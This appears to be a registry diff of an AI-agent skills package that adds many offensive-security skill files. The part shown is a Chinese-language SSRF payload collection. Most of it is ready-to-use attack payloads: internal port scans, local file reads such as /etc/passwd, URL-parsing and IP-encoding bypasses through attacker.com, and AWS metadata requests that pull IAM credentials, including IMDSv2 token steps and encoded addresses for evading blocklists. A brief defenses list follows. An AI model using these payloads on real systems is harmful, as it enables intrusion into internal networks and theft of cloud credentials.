opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1256 @@
1
+ # SSRF服务端请求伪造
2
+
3
+ _12 条 web payload_
4
+
5
+ ### 基础SSRF攻击 `ssrf-basic`
6
+ _服务端请求伪造基础攻击技术_
7
+ 子类:**基础攻击** · tags: `ssrf` `server-side` `request`
8
+
9
+ **前置条件:**
10
+ - 存在URL输入点
11
+ - 服务器会请求用户提供的URL
12
+
13
+ **攻击链:**
14
+
15
+ **1. 探测SSRF**
16
+ > 探测SSRF漏洞
17
+ ```
18
+ 输入URL: http://127.0.0.1
19
+ 输入URL: http://localhost
20
+ 输入URL: http://[::1]
21
+ 观察服务器响应是否包含内网信息
22
+ ```
23
+ **语法解析:**
24
+ - `127.0.0.1` — 本地回环地址 _domain_
25
+ - `localhost` — 本地主机名 _domain_
26
+ - `[::1]` — IPv6本地地址 _value_
27
+
28
+ **2. 扫描内网端口**
29
+ > 扫描内网端口
30
+ ```
31
+ http://192.168.1.1:22
32
+ http://192.168.1.1:80
33
+ http://192.168.1.1:443
34
+ http://192.168.1.1:3306
35
+ 根据响应差异判断端口开放状态
36
+ ```
37
+ **语法解析:**
38
+ - `http://192.168.1.1:22
39
+ http://192.168.1.1:80
40
+ http://192.168.1.1:443
41
+ http://192` — 攻击载荷 _value_
42
+
43
+ **3. 访问内网服务**
44
+ > 访问内网服务
45
+ ```
46
+ http://192.168.1.100/admin
47
+ http://10.0.0.1:8080/manager
48
+ http://172.16.0.1:9200/_cat/indices
49
+ 访问内网管理界面或敏感服务
50
+ ```
51
+ **语法解析:**
52
+ - `http://192.168.1.100/admin
53
+ http://10.0.0.1:8080/manager
54
+ http://172.16.0.1:9200` — 攻击载荷 _value_
55
+
56
+ **4. 读取本地文件**
57
+ > 读取本地文件
58
+ ```
59
+ file:///etc/passwd
60
+ file:///c:/windows/win.ini
61
+ file:///proc/self/environ
62
+ 使用file协议读取本地文件
63
+ ```
64
+ **语法解析:**
65
+ - `file://` — 本地文件协议 _value_
66
+ - `/etc/passwd` — Linux用户信息文件 _path_
67
+
68
+ **WAF/EDR 绕过变体:**
69
+
70
+ **IP格式绕过**
71
+ > 使用不同IP格式绕过
72
+ ```
73
+ http://0177.0.0.1 (八进制)
74
+ http://2130706433 (十进制)
75
+ http://0x7f000001 (十六进制)
76
+ http://127.1 (简写)
77
+ http://127.0.0.1.nip.io (DNS重绑定)
78
+ ```
79
+ **语法解析:**
80
+ - `0177` — 127的八进制表示 _value_
81
+ - `2130706433` — 127.0.0.1的十进制表示 _value_
82
+
83
+ **URL解析差异**
84
+ > 利用URL解析差异
85
+ ```
86
+ http://attacker.com#@127.0.0.1/
87
+ http://127.0.0.1.attacker.com
88
+ http://attacker.com\@127.0.0.1/
89
+ 利用URL解析差异绕过
90
+ ```
91
+ **语法解析:**
92
+ - `127.0.0.1` — 本地回环 _domain_
93
+
94
+ **DNS重绑定**
95
+ > DNS重绑定攻击
96
+ ```
97
+ 使用DNS重绑定服务:
98
+ http://7f000001.cip.cc (解析为127.0.0.1)
99
+ http://127.0.0.1.nip.io
100
+ 第一次解析为外网IP,第二次解析为内网IP
101
+ ```
102
+ **语法解析:**
103
+ - `使用DNS重绑定服务:
104
+ http://7f000001.cip.cc` — 命令/载荷起始 _command_
105
+ - ` (解析为127.0.0.1)
106
+ http://127.0.0.1.nip.io
107
+ 第一次解析为外网IP,第二次解析为内网IP` — 参数与载荷内容 _value_
108
+
109
+
110
+ **概述:** SSRF(Server-Side Request Forgery)服务端请求伪造允许攻击者通过目标服务器发起任意网络请求,可用于访问内网资源、云元数据、本地服务等外部无法直接到达的目标。
111
+
112
+ **漏洞原理:** SSRF漏洞存在于服务器根据用户提供的URL发起请求的场景:图片加载/预览、URL导入、Webhook回调、PDF生成器、文件下载代理等。攻击者可操纵URL指向内网地址(127.0.0.1/10.x/172.16.x)或云元数据端点。
113
+
114
+ **利用方法:** 完整利用流程:
115
+ 1. 探测SSRF漏洞存在
116
+ 2. 扫描内网端口和服务
117
+ 3. 访问内部管理界面
118
+ 4. 读取敏感文件或攻击内网服务
119
+
120
+ **防御措施:** 防御措施:
121
+ 1. 白名单验证URL
122
+ 2. 禁用不必要的协议
123
+ 3. 验证解析后的IP地址
124
+ 4. 网络隔离和访问控制
125
+
126
+ ---
127
+
128
+ ### AWS元数据攻击 `ssrf-cloud-aws`
129
+ _利用SSRF访问AWS EC2元数据服务_
130
+ 子类:**云元数据** · tags: `ssrf` `aws` `metadata` `cloud`
131
+
132
+ **前置条件:**
133
+ - 存在SSRF漏洞
134
+ - 目标运行在AWS EC2上
135
+
136
+ **攻击链:**
137
+
138
+ **1. 访问元数据服务**
139
+ > 访问AWS元数据服务
140
+ ```
141
+ http://169.254.169.254/latest/meta-data/
142
+ http://169.254.169.254/latest/user-data/
143
+ http://169.254.169.254/latest/dynamic/instance-identity/
144
+ ```
145
+ **语法解析:**
146
+ - `169.254.169.254` — AWS元数据服务地址 _value_
147
+ - `latest` — 最新版本的API _value_
148
+ - `meta-data` — 实例元数据 _value_
149
+
150
+ **2. 获取IAM凭证**
151
+ > 获取IAM临时凭证
152
+ ```
153
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
154
+ 获取角色名后:
155
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
156
+ ```
157
+ **语法解析:**
158
+ - `iam/security-credentials` — IAM安全凭证路径 _value_
159
+
160
+ **3. 获取用户数据**
161
+ > 获取实例用户数据
162
+ ```
163
+ http://169.254.169.254/latest/user-data/
164
+ 可能包含敏感信息、API密钥、启动脚本
165
+ ```
166
+ **语法解析:**
167
+ - `http://169.254.169.254/latest/user-data/` — 第1步操作 _command_
168
+ - `可能包含敏感信息、API密钥、启动脚本` — 第2步操作 _value_
169
+
170
+ **4. 使用IMDSv2绕过**
171
+ > 绕过IMDSv2保护
172
+ ```
173
+ 如果IMDSv2被强制:
174
+ 1. 先获取token:
175
+ PUT http://169.254.169.254/latest/api/token
176
+ Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
177
+ 2. 使用token访问:
178
+ Header: X-aws-ec2-metadata-token: TOKEN
179
+ ```
180
+ **语法解析:**
181
+ - `X-aws-ec2-metadata-token` — IMDSv2认证token _value_
182
+
183
+ **WAF/EDR 绕过变体:**
184
+
185
+ **IP编码变体绕过**
186
+ > 通过十进制、十六进制、八进制及IPv6映射等IP地址编码方式绕过169.254.169.254黑名单检测
187
+ ```
188
+ # 十进制整数:
189
+ http://2852039166/latest/meta-data/
190
+ # 十六进制:
191
+ http://0xA9FEA9FE/latest/meta-data/
192
+ # 八进制:
193
+ http://0251.0376.0251.0376/latest/meta-data/
194
+ # IPv6映射:
195
+ http://[::ffff:169.254.169.254]/latest/meta-data/
196
+ # 混合编码:
197
+ http://0xA9.0376.169.0xFE/latest/meta-data/
198
+ ```
199
+ **语法解析:**
200
+ - `# 十进制整数:` — 主要命令 _command_
201
+ - `...` — 共10行 _value_
202
+
203
